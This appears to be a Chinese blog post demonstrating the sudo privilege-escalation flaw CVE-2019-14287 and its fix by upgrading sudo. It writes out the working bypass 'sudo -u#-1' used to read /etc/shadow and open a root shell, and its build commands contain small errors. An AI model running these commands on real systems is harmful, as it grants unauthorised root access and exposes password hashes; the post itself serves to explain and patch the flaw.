CVE-2019-14287漏洞与修复过程

CVE-2019-14287漏洞与修复过程

CVE-2019-14287漏洞

CVE-2019-14287本地提权漏洞,漏洞因为是Sudo<1.8.28,只需要升级sudo>1.8.28的就可以修复完成

展示

  1. 使用root用户修改权限文件:vim /etc/sudoers ,添加如下:
chen ALL=(ALL,!root) ALL

在这里插入图片描述
2. 添加用户:chen, chen

Useradd chen
Passwd chen
  1. 使用chen用户查看文件是没有权限的: cat /etc/shadow
    在这里插入图片描述
  2. 使用命令, sudo -u#-1 cat /etc/shadow
    可以看到,chen用户被提权看到这个文件的内容
    在这里插入图片描述
  3. 查看当前登录的用户:whoami
    是为:chen在这里插入图片描述
    6.,chen用户使用命令: ** sudo -u#-1 /bin/bash**;
    再次输入whoami,直接是root用户在这里插入图片描述
    7.再使用命令: su root
    直接不需要密码,直接提权了,变成了root用户
    在这里插入图片描述

修复漏洞

1.下载修复的包:wget http://www.sudo.ws/dist/sudo-1.8.28p1.tar.gz
在这里插入图片描述
在这里插入图片描述
2.解压:tar -zxvf sudo-1.8.28p1.tar.gz
3.进入目录:cd sudo-1.8.28p1 ; 然后安装
在这里插入图片描述

/configure --prefix=/usr              \
            --libexecdir=/usr/lib      \
            --with-secure-path         \
            --with-all-insults         \
            --with-env-editor          \
            --docdir=/usr/share/doc/sudo-1.9.2 \
            --with-passprompt="[sudo] password for %p: " &&
make

4.再执行:make install && ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0
5.修复成功
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值